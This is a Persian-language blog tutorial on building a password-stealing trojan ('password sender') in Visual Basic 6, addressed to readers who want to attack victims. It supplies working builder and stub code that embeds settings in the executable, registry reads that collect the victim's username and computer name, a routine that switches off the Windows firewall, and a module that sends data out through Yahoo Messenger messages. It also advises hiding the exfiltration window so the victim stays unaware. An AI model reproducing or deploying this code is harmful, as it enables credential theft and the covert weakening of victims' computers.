X
تبلیغات
رایتل
دوشنبه 9 اردیبهشت‌ماه سال 1387 ساعت 01:37 ب.ظ

اولا می خوام شما رو با تفاوت بین تروجان و پسورد سندر آشنا کنم. خیلی ها بین این دو تا تفاوت قائل نمی شن در صورتی که درست نیست و این دو از زمین تا آسمون با هم فرق دارن.

پسورد سندر نسبت به تروجان کد نویسی ساده تری داره و اصولا برای این نوشته میشه که یک سری پسورد های خاص رو برای نویسنده ش بفرسته ، مثلا پسورد مسنجرها یا چیزهایی از این قبیل. ولی بک تروجان علاوه براین کارها مهمترین چیزی رو که یک هکر می خواد رو براش میاره یعنی: دسترسی کامل به کامپیوتر قربانی . پس یه تروجان می تونه پسورد سندر و کیلاگر(کی لوگر!!) و خیلی چیزهای دیگه رو هم در خودش داشته باشه. من نمی تونم ادعا کنم که یک تروجان کامل نوشتم ولی پسورد سندری که من نوشتم نسبتا مناسب بود و کارش رو به خوبی انجام می داد( البته اگه ایرادتش رو نگم). پس باید بدونید که هدف من آشنا کردن شما با نحوه ی کد نویسی یک پسورد سندر در وی بی هست

ارتباط بین سرور و ادیت سرور:

خوب کسایی که نمی دونن بدونن که سرور همون فایلی هست که شما به کامپیوتر قربانی واردش می کنید و ادیت سرور تنظیمات این فایل رو انجام می ده. البته پی اس (از این به بعد به پسورد سندر می گم پی اس) هایی هم هستن که بدون ادیت سرور نوشت همی شن و اصولا در اختیار عموم قرار نمی گیرن (مثل کد PS1 در فولدر اصلی مقاله که کار یکی از پی اس نویسای معروف ایران هست و آموزشی هست) ولی خیلی ها دوست دارن پی اس با ادیت سرور بنویسین.

اصولا چند راه هست که این ارتباط رو برقرار کنید و نیازی به قرار دادن سورس سرور در ادیت سرور نیست. من یه راه رو معرفی می کنم که فهمش ساده تر هست و تو پی اس خودم ازش استفاده کردم. (اون راه های دیگه رو اگه دوست داشتید تو فولدر E/S Connection   بررسی کنید که سورس کامل Toxic-Ps ،  Toxic-Cv،  PSGهست .) برای این کار ما به یک Property Bag  نیاز داریم که اطلاعاتی که می خوایم تو سرور باشن رو توسط ادیت سرور خیلی راحت توش بذاریم. بعد هم سرور که اجرا شد اون اطلاعات رو می خونه و ازش استفاده می کنه! به همبن راحتی! (گفتن نه نوشتن) این اطلاعات میتونه هر چیزی باشه مثل آدرس ایمیلی که اطلاعات می خواهید به اونجا فرستاد هبشه و ازاین قبیل. خوب من این کدها رو پایین آوردم و می تونید بررسی کنید چجوری اطلاعات تو فایل سرور نوشته و توسط سرور خونده می شوند.

Edit Server:

 

On Local Error GoTo errTrap

    Dim BeginP As Long

    Dim Bag As New PropertyBag

    Dim Temp As Variant

    Dim mahmoud() As Byte

   

    Dim er As String

    With Bag

        .WriteProperty "id", id.Text

        .WriteProperty "force", force.Value

        .WriteProperty "dial", dial.Value

        .WriteProperty "user", user.Value

        .WriteProperty "com", com.Value

        .WriteProperty "fire", fire.Value

        .WriteProperty "IP", ip.Value

        .WriteProperty "image", preview.Image1.Picture

        .

        .

        .                                                                                                   

    End With

    Open App.Path + "\" + "serv.exe" For Binary As #2

    mahmoud = LoadResData(101, "CUSTOM")

    Put #2, , mahmoud()

    Close #2

 

     FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text

   

  

    Open App.Path & "\" & SrvName.Text For Binary As #1

        BeginP = LOF(1)

               

        Temp = Bag.Contents

               

        Seek #1, LOF(1)

        Put #1, , Temp

        Put #1, , BeginP

   

    Close #1

 

 

  Kill App.Path + "\" + "serv.exe"

  Exit Sub

 

errTrap:

MsgBox Err.Description, vbCritical, "Error"

در اینجا تمام اطلاعات در یک Property Bag  نوشته می شود و بعد هم می ره داخل سرور!

فقط باید بدونید که من ابتدا ریسورس فایل سرور رو داخل ادیت سرور قرار دادم. برای این کارابتدا از قسمت Add-in Manager  ، VB6 Resource Editor رو فغال کنید .بعد رو    کلیک کنید . حالا Add Custom Resource  رو بزنید و فایل سرور رو انتخاب کنید.می تونید اسم این ریسورس رو هم عوض کنید البته من همون 101 رو به صورت پیشفرض انتخاب کردم.قسمتهایی هم که در کد بالا خط کشیدم مربوط به لود کردن همین ریسورس و تبدیل آن به فایل اجرایی است.

 

حالا کدهای مربوط به سرور و نحوه ی خوندن اطلاعات رو بررسی می کنیم.

 

Server:

On Local Error Resume Next

 

    Dim BeginP As Long

    Dim Temp As Variant

    Dim bArr() As Byte

 

    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

        Get #1, LOF(1) - 3, BeginP

 

        Seek #1, BeginP

        Get #1, , Temp

       

        Arr = Temp

        Bag.Contents = Arr

        Bag.WriteProperty "LOF", LOF(1)

        Bag.WriteProperty "BeginPos", BeginPos

 

   Close #1

 

    With Bag

    ID.Caption = .ReadProperty("id")

     FileNameInstall.Caption = .ReadProperty("filename")

     Username.Value = .ReadProperty("user")

      Computername.Value = .ReadProperty("com")

      Firewall.Value = .ReadProperty("fire")

      Rand.Enabled = .ReadProperty("rand")

                                                                                                                .

.                                                                                                                                  

                                                                                                                     

    End With

 

ساده بود نه؟ این کارا رو شما هم می تونید انجام بدید. در اینجا اطلاعات از داخل فایل سرور خونده می شود و بر اساس اون مثلا یک تایمر خاص فعال می شود یا یه چیزی مثل این.

خب می ریم سراغ قسمت اصلی که می خواهیم با هم کدهای مخرب رو بنویسیم. این بستگی داره به مهارت برنامه نویسی  شما و استعداد شما در این زمینه.چون من هیچ وقت نمی تونم اون چیزی رو که دقیقا شما می خواهید بهتون بدم.پس اینجا با کدهای ساده به صورت دسته بندی شده می ریم جلو که خیلی هاشون تو اکثر پی اس ها استفاده  می شن. من اگر بخوام طرز کار همشون رو بهتون خیلی طولانی می شه.پس اینو به خودتون واگذار می کنم. اول تموم توابع API  لازم دارید رو به برنامه اضافه کنید تا مشکلی پیش نیاید.

(زیر اسم توابع API  خط کشیدم).

_______________________________________

Public Function SysDir() As String

  Dim SysPath As String

  SysPath = String(255, vbNullChar)

  GetSystemDirectory SysPath, 255

  SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)

End Function

برگشتی این تابع مسیری تو مایه های C:\WINDOWS\System32  هست!

_______________________________________

Public Property Get ReadKey(Value As String) As String

Dim B As Object

On Error Resume Next

Set B = CreateObject("wscript.shell")

r = B.RegRead(Value)

ReadKey = r

End Property

با این کد می تونید کلید های درون رجیستری رو بخونید که تو دو تابع بعدی ازشون استفاده کردم.

 _______________________________________

Public Sub getuser()

Dim UserString As String

UserString = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")

User.Text = Username

End Sub

با این روال می تونید یوزر نیم کاربری که به ویندوز لاگین کرده رو بدست بیارید .

_______________________________________

Public Sub getCom()

Dim CompName As String

CompName = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName")

com.Text = CompName

End Sub

با این روال می تونید کامپیوتر نیم قربانی رو بدست بیارید.

 

_______________________________________

 

Public Sub fire()

Dim objFireWall As Object

 Set objFireWall = CreateObject("HNetCfg.FwMgr")

 Set objpolicy = objFireWall.localpolicy.currentprofile

 objpolicy.firewallenabled = False

End Sub

این روال تو اکثر پی اس ها استفاده شده ست و می تونه فایروال ویندوز رو غیر فعال کنه!

_______________________________________

Private Sub CheckW()

Dim hwnd As Long

Dim wn As String

wn = Space(255)

hwnd = GetForegroundWindow

Handle.Text = Str(hwnd)

whandle.text= hwnd

GetWindowText hwnd, wn, GetWindowTextLength(hwnd) + 1

title.Text = wn

End Sub

 

Private sub close()

Dim I as integer

For i=0 to closelist.listCount-1

If closelist.list (i)=title.text then PostMessage whandle, WM_CLOSE, 0&, 0&

Next i

End sub

این دو تا کد با هم کار می کنن.یعنی روال اولی که باید درون یک تایمر باشه، پنجره ی فعال رو تشخیص میده و هندل و عنوان اون رو تو دو تا تکست باکس می ذاره و کد دوم هم هروقت پنجره ی مخصوصی که شما اسمش رو تو Closelist  گذاشتید باز بشه، اون پنجره رو می بنده(این بستگی به شما داره که چجوری بخواهید اسامی پنجره ها رو وارد اون لیست باکس کنید.منظورم بر می گرده به قسمت چگونگی طراحی ادیت سرور).

_______________________________________

 

ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + ID + "&m=" + mess, 0&, App.Path, 0&

این همون کدی هست که باهاش می تونید توسط یاهو مسنجر مسیج برای یک آیدی خاص بفرستید (البته خیلی ابتداییه) .خب بازم این هنر شمایه که چجوری این پیام رو بفرستید که قربانی متوجه نشه. ضمنا بگم در صورتی این کد کارمی کنه که طرف با یاهو لاگین کرده باشه. وگرنه فقط یاهو باز می شه و طرف شک می کنه. همچنین باید بتونید این صفحه رو از دید قربانی مخفی نگه دارید چون همه چی واضح دیده می شه. ببینم چه میکنین!!

××××××××××××××××××××××××××××××××××

 یک کد برای ارسال pm به یاهو 8:

کد:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + Text1.Text + "&m=" + Text2.Text, 0&, App.Path, 0&
SendKeys "{enter}"
End Sub

 ***********************************

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین:

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین


Public Declare Function SetForegroundWindow Lib "User32" (ByVal hwnd As Long) As Long
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Public Const SND_ASYNC = &H1
Public Declare Function EnableWindow Lib "User32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long
Public Declare Function GetMenu Lib "User32" (ByVal hwnd As Long) As Long
Declare Function GetCursorPos Lib "User32" (lpPoint As POINTAPI) As Long
Public Declare Function GetMenuItemID Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function GetMenuString Lib "User32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Public Declare Function GetSubMenu Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function GetWindow Lib "User32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function PostMessage Lib "User32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageLong& Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShowWindow Lib "User32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Const BM_SETCHECK = &HF1
Public Const BM_GETCHECK = &HF0
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
     ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
     lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
     ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
     ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
     ByVal ySrc As Long, ByVal nSrcWidth As Long, _
     ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
     ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
     (ByVal hdc As Long) As Long
    Private Declare Function SwapMouseButton& Lib "User32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "User32" _
(ByVal bShow As Long)
    Private Const WM_SYSCOMMAND = &H112&
    Private Const SC_MONITORPOWER = &HF170&
    Dim mousehide As Boolean
    Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange  'declare the variables
    Dim hIn As Integer
    Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean
Public Const EWX_FORCE = 4
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1

Public Const CB_GETCOUNT = &H146
Public Const CB_GETLBTEXT = &H148
Public Const CB_SETCURSEL = &H14E

Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5

Public Const LB_GETCOUNT = &H18B
Public Const LB_GETTEXT = &H189
Public Const LB_SETCURSEL = &H186

Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_NORMAL = 1
Public Const SW_SHOW = 5

Public Const VK_SPACE = &H20

Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_MOVE = &HF012
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_SETTEXT = &HC
Public LastPoint As POINTAPI

Public lngTPPY As Long
Public lngTPPX As Long

Type POINTAPI
        X As Long
        Y As Long
End Type

Sub SendPM(Who As String, Text As String)
'oz RoOzY
'Ex. : call SendPM("ngsp_public_msg","salam")

Dim imclass As Long, editx As Long
imclass = FindWindow("imclass", vbNullString)
editx = FindWindowEx(imclass, 0&, "edit", vbNullString)
Call SendMessageByString(editx, WM_SETTEXT, 0&, Who)
ChatSend (Text)
End Sub
Sub ChatSend(TheText)
Dim imclass As Long
Dim richedit As Long
Dim Button As Long
imclass& = FindWindow("IMClass", vbNullString)
richedit& = FindWindowEx(imclass&, 0&, "RICHEDIT", vbNullString)
Call SendMessageByString(richedit&, WM_SETTEXT, 0&, TheText)
Button& = FindWindowEx(imclass&, 0&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Call SendMessageLong(Button&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessageLong(Button&, WM_KEYUP, VK_SPACE, 0&)
End Sub
موفق باشی

del.icio.us  digg  newsvine  furl  Y!  smarking  segnalo